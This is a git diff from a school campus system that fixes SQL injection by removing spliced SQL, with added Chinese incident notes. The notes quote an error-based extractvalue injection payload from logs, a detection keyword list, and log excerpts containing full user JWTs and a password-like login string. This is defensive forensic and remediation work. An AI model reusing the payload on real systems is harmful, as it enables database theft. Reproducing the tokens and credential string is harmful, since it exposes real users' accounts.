XskhDisciplineRecordMapper extends BaseMapperPlus selectStudentOptions(@Param("keyword") String keyword, - @Param("pageNum") Integer pageNum, + @Param("offset") Integer offset, @Param("pageSize") Integer pageSize); /** diff --git a/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/service/impl/XskhDisciplineRecordServiceImpl.java b/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/service/impl/XskhDisciplineRecordServiceImpl.java index 69798c8e..d82b1194 100644 --- a/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/service/impl/XskhDisciplineRecordServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/service/impl/XskhDisciplineRecordServiceImpl.java @@ -173,7 +173,10 @@ public class XskhDisciplineRecordServiceImpl implements IXskhDisciplineRecordSer */ @Override public List getStudentOptionsPage(String keyword, Integer pageNum, Integer pageSize) { - return baseMapper.selectStudentOptions(keyword, pageNum, pageSize); + int safePageNum = (pageNum == null || pageNum < 1) ? 1 : pageNum; + int safePageSize = (pageSize == null || pageSize < 1) ? 50 : Math.min(pageSize, 200); + int offset = (safePageNum - 1) * safePageSize; + return baseMapper.selectStudentOptions(keyword, offset, safePageSize); } /** diff --git a/backend/ruoyi-modules/ruoyi-xskh/src/main/resources/mapper/XskhDisciplineRecordMapper.xml b/backend/ruoyi-modules/ruoyi-xskh/src/main/resources/mapper/XskhDisciplineRecordMapper.xml index 356face0..b93f11bd 100644 --- a/backend/ruoyi-modules/ruoyi-xskh/src/main/resources/mapper/XskhDisciplineRecordMapper.xml +++ b/backend/ruoyi-modules/ruoyi-xskh/src/main/resources/mapper/XskhDisciplineRecordMapper.xml @@ -62,8 +62,8 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" order by student_no desc - - limit ${(pageNum - 1) * pageSize}, #{pageSize, jdbcType=INTEGER} + + limit #{offset, jdbcType=INTEGER}, #{pageSize, jdbcType=INTEGER} limit 50 diff --git a/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/domain/vo/ZsjyEnrollmentStatisticsQueryVo.java b/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/domain/vo/ZsjyEnrollmentStatisticsQueryVo.java index 62c5f826..c319ccdf 100644 --- a/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/domain/vo/ZsjyEnrollmentStatisticsQueryVo.java +++ b/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/domain/vo/ZsjyEnrollmentStatisticsQueryVo.java @@ -91,11 +91,6 @@ public class ZsjyEnrollmentStatisticsQueryVo implements Serializable { */ private Boolean calculatePercentage; - /** - * 额外的查询条件 - */ - private String extraCondition; - /** * 当前页码 */ diff --git a/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/mapper/ZsjyEnrollmentInfoMapper.java b/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/mapper/ZsjyEnrollmentInfoMapper.java index f85d5969..e31405ed 100644 --- a/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/mapper/ZsjyEnrollmentInfoMapper.java +++ b/backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/mapper/ZsjyEnrollmentInfoMapper.java @@ -106,7 +106,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByYear( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition); + @Param("endDate") Date endDate); /** * 按月统计报名录取信息 @@ -139,7 +137,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByMonth( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition); + @Param("endDate") Date endDate); /** * 按日统计报名录取信息 @@ -171,7 +167,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByDay( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition); + @Param("endDate") Date endDate); /** * 按专业统计报名录取信息 @@ -204,8 +198,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByMajor( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition, - @Param("majorCondition") String majorCondition); + @Param("endDate") Date endDate); /** * 按地区统计报名录取信息 @@ -239,8 +229,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByRegion( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition, - @Param("regionCondition") String regionCondition); + @Param("endDate") Date endDate); /** * 按性别统计报名录取信息 @@ -272,8 +258,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByGender( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition, - @Param("genderCondition") String genderCondition); + @Param("endDate") Date endDate); /** * 按状态统计报名录取信息 @@ -315,8 +297,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus statisticsByStatus( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition, - @Param("statusCondition") String statusCondition); + @Param("endDate") Date endDate); /** * 获取报名录取汇总统计 @@ -347,12 +325,10 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus getEnrollmentSummary( @Param("startDate") Date startDate, - @Param("endDate") Date endDate, - @Param("extraCondition") String extraCondition); + @Param("endDate") Date endDate); /** * 根据身份证号查询报名信息 diff --git a/web/src/views/xg/xsjcxx/studentStatusChange/index.vue b/web/src/views/xg/xsjcxx/studentStatusChange/index.vue index 5808bc04..bf6f0e64 100644 --- a/web/src/views/xg/xsjcxx/studentStatusChange/index.vue +++ b/web/src/views/xg/xsjcxx/studentStatusChange/index.vue @@ -180,7 +180,7 @@ const selectedRows = ref([]); const single = ref(true); const multiple = ref(true); const total = ref(0); -const dateRange = ref<[string, string]>(['', '']); +const dateRange = ref<[string, string] | undefined>(undefined); const showSearch = ref(true); // 分页参数 @@ -262,13 +262,13 @@ const handleQuery = () => { /** 重置按钮操作 */ const resetQuery = () => { - dateRange.value = ['', '']; - proxy?.resetForm(queryFormRef.value); + dateRange.value = undefined; + queryFormRef.value?.resetFields(); queryParams.pageNum = 1; - queryParams.studentNo = ''; - queryParams.changeType = ''; - queryParams.processStatus = null; - queryParams.operatorName = ''; + queryParams.studentNo = undefined; + queryParams.changeType = undefined; + queryParams.processStatus = undefined; + queryParams.operatorName = undefined; handleQuery(); }; diff --git a/问题整改/SQL注入攻击日志摘录-20260916.md b/问题整改/SQL注入攻击日志摘录-20260916.md new file mode 100644 index 00000000..76689121 --- /dev/null +++ b/问题整改/SQL注入攻击日志摘录-20260916.md @@ -0,0 +1,172 @@ +# SQL 注入攻击日志摘录（对应攻防演练报告） + +> 来源日志包：`问题整改/日志.rar` +> 对照报告：`问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx` +> 整理日期：2026-09-17 + +--- + +## 1. 结论 + +在客户提供的 `日志.rar` 中，**已定位到与 Word 报告完全吻合的 SQL 注入攻击痕迹**。 + +核心对应关系： + +| Word 报告描述 | 日志证据 | +|---------------|----------| +| 入口 `POST /prod-api/auth/register` | 大量 `请求地址'/auth/register',发生未知异常` | +| `tenantId` 注入进 SQL | `sys_config ... AND tenant_id = '000000' AND extractvalue(...)` | +| 报错型注入 `extractvalue` / XPATH | `java.sql.SQLException: XPATH syntax error: '~...'` | +| 落点 `SysConfigMapper` | `The error may exist in org/dromara/system/mapper/SysConfigMapper.java` | +| 泄露 `root@172.16.0.68` | `XPATH syntax error: '~root@172.16.0.68'`（约 200 次） | +| 查注册开关触发 | 参数 `sys.account.registerUser` | +| 拖库用户/配置 | 报错片段中出现表字段、时间戳、BCrypt 哈希分片等 | + +**主证据文件（推荐引用）：** + +- `日志/ruoyi-admin-68-9901.log`（节点 68，体量最大、攻击痕迹最完整） +- 同内容副本：`日志/68/ruoyi-admin-68-9901.log` + +--- + +## 2. 日志包结构说明 + +`日志.rar` 解压后主要包含双机节点日志： + +| 目录 | 说明 | +|------|------| +| `日志/67/` | 节点 67 应用/系统日志 | +| `日志/68/` | 节点 68 应用/系统日志 | +| `日志/*.log` | 根目录另有一份拷贝（与 67/68 有重叠） | + +攻击相关命中主要集中在 **68 节点** 的 `ruoyi-admin-68-9901.log`。 + +--- + +## 3. 攻击时间线（基于主日志） + +主日志：`ruoyi-admin-68-9901.log` + +| 统计项 | 数值 | +|--------|------| +| `XPATH syntax error` | **42230** 次 | +| `extractvalue` | **16726** 次 | +| `/auth/register` 异常 | **8644** 次 | +| `SysConfigMapper` | **8540** 次 | +| `root@172.16.0.68` 泄露 | **200** 次 | +| 参数 `sys.account.registerUser` | **8747** 次 | +| 首次 XPATH 关联时间 | **2026-09-16 10:43:25** | +| 末次 XPATH 关联时间 | **2026-09-16 23:36:48** | + +按小时分布（XPATH 相关）： + +| 时段 | 相对强度 | +|------|----------| +| 10 时 | 少量探测 | +| 14 时 | 明确命中（含 `root@`、版本探测） | +| **15 时** | **高峰（约 3.1 万行级）** | +| 16 时 | 仍高强度 | +| 17 / 21 / 22 / 23 时 | 持续/回扫 | + +与报告截图高度吻合的关键时刻示例： + +- **2026-09-16 14:49:32**：`/auth/register` + `extractvalue(SELECT version())` → `~5.7.39-log` +- **2026-09-16 14:50:08**：`/auth/register` + `extractvalue(SELECT user())` → `~root@172.16.0.68` + +--- + +## 4. 关键证据摘录（与报告逐条对应） + +### 4.1 攻击入口：注册接口 + +```text +请求地址'/auth/register',发生未知异常. +``` + +（同秒内连续多次，符合自动化注入工具特征） + +### 4.2 注入点：tenant_id 拼进 sys_config 查询 + +```text +==> Preparing: SELECT config_id, config_name, config_key, config_value, ... + FROM sys_config + WHERE (config_key = ?) + AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +==> Parameters: sys.account.registerUser(String) +``` + +说明：注册流程先查“是否开启注册”，恶意 `tenantId` 被多租户插件拼进 SQL，从而触发注入。 + +### 4.3 报错栈落点：SysConfigMapper + +```text +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +``` + +### 4.4 与报告完全一致的库账号泄露 + +```text +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' +``` + +### 4.5 信息探测与拖数痕迹（报错回显） + +XPATH 回显片段（日志统计 Top）可见攻击者在逐步抽取元数据/业务数据，例如： + +| 回显片段（截断） | 含义（推断） | +|------------------|--------------| +| `~5.7.39-log` | MySQL 版本 | +| `~root@172.16.0.68` | 当前数据库用户 | +| `~tenant_id` / `~create_time` / `~create_by` 等 | 表字段枚举 | +| `~2025-12-23 13:1...` | 用户创建时间等数据分片 | +| `~$2a$10$...` | 密码哈希分片（敏感） | + +另有 SQL 探测 `information_schema` / `table_schema='hzdyjs_xg'` 的记录，表明已进入库表枚举阶段。 + +> 完整敏感哈希与用户明细不在正文展开；原始摘录见同目录附件。 + +--- + +## 5. 典型攻击链路（日志还原） + +```text +POST /auth/register + → selectRegisterEnabled(tenantId) // 参数含恶意 tenantId + → 查询 sys_config(config_key=sys.account.registerUser) + → 多租户插件拼接: AND tenant_id = '<恶意内容>' + → extractvalue(...) 报错回显 + → 泄露 version / user() / database / 表字段 / 业务数据分片 +``` + +该链路与 Word 报告 Burp 截图、成果描述（root 权限判定、用户数据拖取、初始密码配置等）一致。 + +--- + +## 6. 附件清单（本目录） + +目录：`问题整改/攻击日志摘录/` + +| 文件 | 内容 | +|------|------| +| `stats.txt` | 主日志命中统计与时间分布 | +| `primary-xpath-context.txt` | 首批 XPATH 上下文（含 register + root） | +| `primary-extract-sql-samples.txt` | 被注入的 SQL 样本 | +| `primary-register-hits.txt` | `/auth/register` 异常样本 | +| `primary-root-leaks.txt` | `root@172.16.0.68` 泄露样本 | +| `primary-sysconfig-hits.txt` | SysConfigMapper 报错样本 | +| `evidence-block-auth-register-root.txt` | 连续证据块（从版本探测到 root 泄露） | + +--- + +## 7. 处置建议（日志侧） + +1. 将本摘录作为攻防复盘/整改验收附件归档。 +2. 代码侧已完成 `tenantId` 白名单与注册接口加固后，需在**生产发布**后再做一次同类关键字复查（应不再出现 `extractvalue`/`XPATH`/`tenant_id = '...extractvalue`）。 +3. 因日志显示存在密码哈希分片外泄痕迹，建议同步：**强制相关账号改密、轮换初始密码与第三方密钥、审计异常登录**。 + +--- + +## 8. 一句话结论 + +**客户日志可证实：2026-09-16 当日存在针对 `/auth/register` + `tenantId` 的报错型 SQL 注入，成功回显 `root@172.16.0.68`，并持续拖取库表元数据与业务数据；与 Word 补充成果报告一致。** diff --git a/问题整改/SQL注入攻击日志核查说明-20260916.md b/问题整改/SQL注入攻击日志核查说明-20260916.md new file mode 100644 index 00000000..9fb88bf6 --- /dev/null +++ b/问题整改/SQL注入攻击日志核查说明-20260916.md @@ -0,0 +1,104 @@ +# SQL 注入攻击相关日志核查说明（2026-09-16） + +## 1. 核查结论（重要） + +### 1.1 后续补充（已完成） + +客户另提供 `问题整改/日志.rar` 后，已成功定位与 Word 报告一致的攻击日志。 + +正式摘录文档见： + +- `问题整改/SQL注入攻击日志摘录-20260916.md` +- 附件目录：`问题整改/攻击日志摘录/` + +### 1.2 关于 `20260916.zip`（早期误传包） + +对客户提供的 `问题整改/20260916.zip` 完成解压与内容核查后： + +**该压缩包中未发现系统运行日志（如 `sys-error.log` / `sys-info.log` / `sys-console.log` / Nginx access/error 等），因此无法从该包中提取与 Word 报告对应的攻击日志原文。** + +### 压缩包实际内容 + +| 路径 | 大小约 | 说明 | +|------|--------|------| +| `20260916/ruoyi-admin.jar` | ~159MB | 后端可执行包（部署产物，不是日志） | +| `20260916/dist/build/h5/` | 若干静态资源 | 移动端 H5 前端构建产物 | +| 其它 | — | `.DS_Store`、`__MACOSX` 等无关文件 | + +**结论：当前 zip 更像是 2026-09-16 的部署备份包，而不是“昨天的系统日志”。** + +--- + +## 2. Word 报告中的攻击特征（用于后续在真实日志中检索） + +依据 `杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx`： + +| 项 | 内容 | +|----|------| +| 检测日期 | 2026-09-16 | +| 入口站点 | `http://ykt.hzdyjsxy.cn:18081/#/`（mobile H5） | +| 攻击接口 | `POST /prod-api/auth/register`（报告截图为 `/prod-api/auth//register`） | +| 注入参数 | JSON 字段 `tenantId` | +| 注入手法 | 基于报错的 `extractvalue`（XPATH syntax error） | +| 泄露信息 | 数据库账号形如 `root@172.16.0.68`；拖取 `sys_config`、`sys_user`（报告称 16278 条）等 | +| 关联代码路径（报错栈） | `SysConfigMapper` / 多租户 `tenant_id` 条件拼接 | + +--- + +## 3. 建议向客户补要的真实日志 + +请客户提供 **2026-09-16**（建议覆盖全天，至少渗透时段）以下文件之一或打包： + +1. 后端应用日志目录（典型路径） + - `logs/sys-error.log` + - `logs/sys-info.log` / `logs/sys-console.log` + - 若按日滚动：`sys-error.2026-09-16.log` 等 +2. 反向代理访问日志 + - Nginx：`access.log` / `error.log`（含 `/prod-api/auth/register` 请求） +3. 如有 WAF / 网关日志，一并提供 + +### 建议检索关键字（拿到真实日志后） + +```text +/auth/register +tenantId +extractvalue +updatexml +XPATH syntax error +SysConfigMapper +tenant_id +java.sql.SQLException +root@ +sys_config +sys_user +``` + +命中后应重点保留：时间、来源 IP、请求 URI、异常堆栈、是否返回 500、是否伴随大量异常 SQL。 + +--- + +## 4. 与本仓库整改的对应关系 + +本仓库已完成针对该漏洞的代码加固（详见同目录其它说明）： + +- `tenantId` 格式白名单（sink） +- `/auth/register` 先校验租户再查注册开关 +- 删除心理咨询 debug 任意 SQL 接口 +- 清理其它高危手写拼接 SQL（P0/P1/单点 LIMIT） + +**在真实攻击日志到位后，可再补一版《攻击日志摘录》附录，把命中行按时间线附入本文。** + +--- + +## 5. 下一步 + +请客户重新提供 **含 2026-09-16 运行日志的压缩包**（或直接给 `logs/` 目录）。收到后可继续： + +1. 按上述关键字自动检索并摘录 +2. 形成独立《SQL注入攻击日志摘录》文档（含时间线、源 IP、异常片段） +3. 与 Word 报告截图逐条对照 + +--- + +*文档生成时间：2026-09-17* +*核查对象：`问题整改/20260916.zip` + Word 渗透补充成果* diff --git a/问题整改/SQL注入漏洞整改说明-tenantId.md b/问题整改/SQL注入漏洞整改说明-tenantId.md new file mode 100644 index 00000000..3c3e12b2 --- /dev/null +++ b/问题整改/SQL注入漏洞整改说明-tenantId.md @@ -0,0 +1,22 @@ +# SQL 注入漏洞整改说明（tenantId） + +## 背景 + +攻防演练报告指出智慧校园（mobile H5：`ykt.hzdyjsxy.cn:18081/#/`）存在 SQL 注入，可拖取 `sys_user` / `sys_config` 等数据。 + +实际利用入口为后端免登接口 `POST /prod-api/auth/register` 的 `tenantId` 字段，经多租户插件拼入 SQL（与 RuoYi-Vue-Plus XVE-2026-50962 同类问题）。 + +## 整改内容（2026-09-17） + +| # | 措施 | 改动位置 | +|---|------|----------| +| 1 | sink 白名单：租户 ID 仅允许 `^[0-9]{1,20}$`，非法直接抛错，不拼 SQL | `PlusTenantLineHandler`、`TenantHelper.checkTenantIdFormat` | +| 2 | 注册接口先 `checkTenant`，再查注册开关 | `AuthController.register` | +| 3 | 所有 `TenantHelper.dynamic/setDynamic` 入口统一格式校验；登录 `checkTenant` 增加格式校验 | `TenantHelper`、`SysLoginService.checkTenant` | +| 4 | 删除心理咨询调试任意 SQL 接口 | 删除 `XljkConsultationDebugController` | + +## 发布注意 + +- 需重新编译并发布 **backend** 后生效；仅发 mobile 前端无效。 +- 建议同步轮换初始密码、微信 AppSecret，并审计异常访问。 +- 生产环境确认 `sys.account.registerUser=false`（关闭开放注册）。 diff --git a/问题整改/手写拼接SQL风险范围清单.md b/问题整改/手写拼接SQL风险范围清单.md new file mode 100644 index 00000000..1310b375 --- /dev/null +++ b/问题整改/手写拼接SQL风险范围清单.md @@ -0,0 +1,26 @@ +# 手写/拼接 SQL 风险范围清单 + +> 梳理日期：2026-09-17 +> 更新：同日已完成 **P0 / P1 / 单点 LIMIT** 修复；**全局 orderBy 列白名单暂不改**。 + +## 已修复（本次） + +| 原优先级 | 项 | 处理 | +|----------|----|------| +| P0 | `RsSystemMapper` `${sql}` + `SqlUpdateController` + `SqlScriptRunner` + `DbInitializer` | 已删除 | +| P0 | 招生 `ZsjyEnrollmentInfoMapper` `${*Condition}` | 已去掉 `${}` 条件参数；VO 删除 `extraCondition` | +| P1 | 宿舍 `managerType` 字符串拼接 | 已改为 JDBC `?` | +| P2 | 学生搜索 `LIMIT + limit` | 已改为 `Page` 安全分页 | +| P2 | bucket 访问记录 LIMIT | 已改为 `Page` 安全分页 | +| P2 | 违纪 `limit ${(pageNum-1)*pageSize}` | 已改为 `#{offset}`/`#{pageSize}`，Service 计算 offset | +| P2 | 心理咨询详情 Long 拼接 | 已改为 `?` 占位 | + +另：`tenantId` 注入、debug 任意 SQL 接口此前已修。 + +## 暂不改造 + +| 级 | 项 | 说明 | +|----|----|------| +| P2 | 全局 `PageQuery.orderByColumn` | 现有正则已基本挡住经典注入；列名白名单属加固，影响面大 | +| P3 | 会话 userId/deptId 的 `exists`/`inSql` | 面窄，可后续顺手改 | +| P3 | 其它已用 `?` 的手写 JdbcTemplate | 维护面问题，非紧急注入 | diff --git a/问题整改/攻击日志摘录/analysis_summary.txt b/问题整改/攻击日志摘录/analysis_summary.txt new file mode 100644 index 00000000..0e318550 --- /dev/null +++ b/问题整改/攻击日志摘录/analysis_summary.txt @@ -0,0 +1,48 @@ +TOTAL_MATCH_LINES 182130 +DAY_2026_09_16_MATCHES 168 +COUNT_extractvalue 8 +COUNT_updatexml 0 +COUNT_XPATH 160 +COUNT_register 0 +COUNT_SysConfigMapper 0 +COUNT_root@ 0 +TIME_FIRST None +TIME_LAST None +TOP_FILES + 80 /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log + 80 /tmp/logs_20260916/日志/68/ruoyi-admin-68-9901.log + 4 /tmp/logs_20260916/日志/ruoyi-admin-68-9903.log + 4 /tmp/logs_20260916/日志/68/ruoyi-admin-68-9903.log +ROOT_LEAKS [] +WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-xpath.txt rows 25 of 160 +WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-register.txt rows 0 of 0 +WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-root-leak.txt rows 0 of 0 +FILE_SIZE /tmp/logs_20260916/日志/68/sys-error.2026-09-16.log 113485 +FILE_HEAD sys-error.2026-09-16.log +2026-09-17 01:22:54 [XNIO-1 task-7] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/studentMsg/studentMsg/personalInfo',认证失败'token 无效：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDg5NTQxMjI0OTQ5MTAwNTQ1Iiwicm5TdHIiOiIxZXp1b2tmNTNSdTBsaTBCUUxTV2dGeHFDUVNsamxucSIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjA4OTU0MTIyNDk0OTEwMDU0NSwidXNlck5hbWUiOiIyMDI2MDIwMzIwNTUiLCJkZXB0SWQiOjIwODk1MzUzMjEzNzgxNDAxNjEsImRlcHROYW1lIjoi55S15rCUMjYxIiwiZGVwdENhdGVnb3J5IjoiYmot55S15rCUMjYxIiwibmlja05hbWUiOiLlvKDln47lrocifQ.h0aBajg5T_SkY8Z9pEK6GzUHcZuLUPkltO2cCo8Z45Q',无法访问系统资源 +2026-09-17 01:22:54 [XNIO-1 task-3] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/xgss/dormBuildingTree/listAll',认证失败'未能读取到有效 token',无法访问系统资源 +2026-09-17 01:22:55 [XNIO-1 task-2] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/system/SysRegion/tree',认证失败'未能读取到有效 token',无法访问系统资源 +2026-09-17 06:49:40 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler - 密码输入错误1次 +2026-09-17 07:09:49 [XNIO-1 task-2] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwMzQwIiwicm5TdHIiOiJYaHhIa3NHQlNpcTZEMEhZT2xkZXRUV2dEeXRub20zOSIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDM0MCwidXNlck5hbWUiOiIyMDIzMDQzOTMwNDIiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDEwNiwiZGVwdE5hbWUiOiLml6DkurrmnLoyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDAyIiwibmlja05hbWUiOiLoooHlsJHnv7AifQ.iNTwJ0G4LE9lzmZihsfVaw4dTAebdc5EKe5S169eZvg',无法访问系统资源 +2026-09-17 07:11:23 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler - 请求地址'/resource/oss/upload',发生未知异常. +org.dromara.common.oss.exception.OssException: 文件存储服务类型无法找到! + at org.dromara.common.oss.factory.OssFactory.instance(OssFactory.java:36) + at org.dromara.system.service.impl.SysOssServiceImpl.upload(SysOssServiceImpl.java:283) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359) + +---FILE_END_HEAD--- +FILE_SIZE /tmp/logs_20260916/日志/67/sys-error.2026-09-16.log 6726 +FILE_HEAD sys-error.2026-09-16.log +2026-09-17 06:51:27 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在. +2026-09-17 06:51:29 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在. +2026-09-17 06:51:30 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在. +2026-09-17 06:54:26 [XNIO-1 task-5] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwODg4Iiwicm5TdHIiOiJFTFhSWjNNT09PSlVJWVk2d3lZOFBCSk9oanlBRmZ6USIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDg4OCwidXNlck5hbWUiOiIyMDIzMDcxMTMwNDAiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDQ0OCwiZGVwdE5hbWUiOiLlm63mnpflt6XnqIsyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDE0Iiwibmlja05hbWUiOiLlupTlpZXokLEifQ.vQAIqY-m7edMQpJ48ccpYHIh_hrAkKtgOLI5-4YnNrE',无法访问系统资源 +2026-09-17 07:04:00 [XNIO-1 task-7] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwMTU5Iiwicm5TdHIiOiJEZnZqUW5xdXNqNzU1aDVrZU8xOXB3VERHbkw0d0M0SyIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDE1OSwidXNlck5hbWUiOiIyMDIzMDIwMzIwMjgiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDA1NCwiZGVwdE5hbWUiOiLnlLXmsJQyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDAxIiwibmlja05hbWUiOiLlr7_lrrbnq4sifQ.e8IF_NjJCCwbuSCYI6rHJUWG2gqph4afmrIe7pQJXSw',无法访问系统资源 +2026-09-17 07:29:41 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：20260137007 不存在. +2026-09-17 07:31:50 [XNIO-1 task-5] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoxNDYiLCJyblN0ciI6InZIdmxGVTZuR0pLU25tdmNaeGtPalB2YVBSS0pKRFFRIiwiY2xpZW50aWQiOiJlNWNkN2U0ODkxYmY5NWQxZDE5MjA2Y2UyNGE3YjMyZSIsInRlbmFudElkIjoiMDAwMDAwIiwidXNlcklkIjoxNDYsInVzZXJOYW1lIjoiMTkyNzU3NDEwMDMiLCJkZXB0SWQiOjIwMjUxMjIzMTMwNzE3MDAyMiwiZGVwdE5hbWUiOiLppJDppa7kvJHpl7LlrabpmaIiLCJkZXB0Q2F0ZWdvcnkiOiJ4eS0xOCIsIm5pY2tOYW1lIjoi6YKs5amV5oWnIn0.NK6MSCbs5L_hptULfIZEYFfF9Hm-uD9eJ7qLt26AVQg',无法访问系统资源 +2026-09-17 07:43:16 [XNIO-1 task-6] ERROR o.d.c.s.h.SaTokenExceptionHandler +---FILE_END_HEAD--- diff --git a/问题整改/攻击日志摘录/evidence-block-auth-register-root.txt b/问题整改/攻击日志摘录/evidence-block-auth-register-root.txt new file mode 100644 index 00000000..904b1f7c --- /dev/null +++ b/问题整改/攻击日志摘录/evidence-block-auth-register-root.txt @@ -0,0 +1,611 @@ +2026-09-16 14:49:14 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler + - 对不起, 您的租户不存在，请联系管理员 +2026-09-16 14:49:23 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler + - 对不起, 您的租户不存在，请联系管理员 +Creating a new SqlSession +SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] was not registered 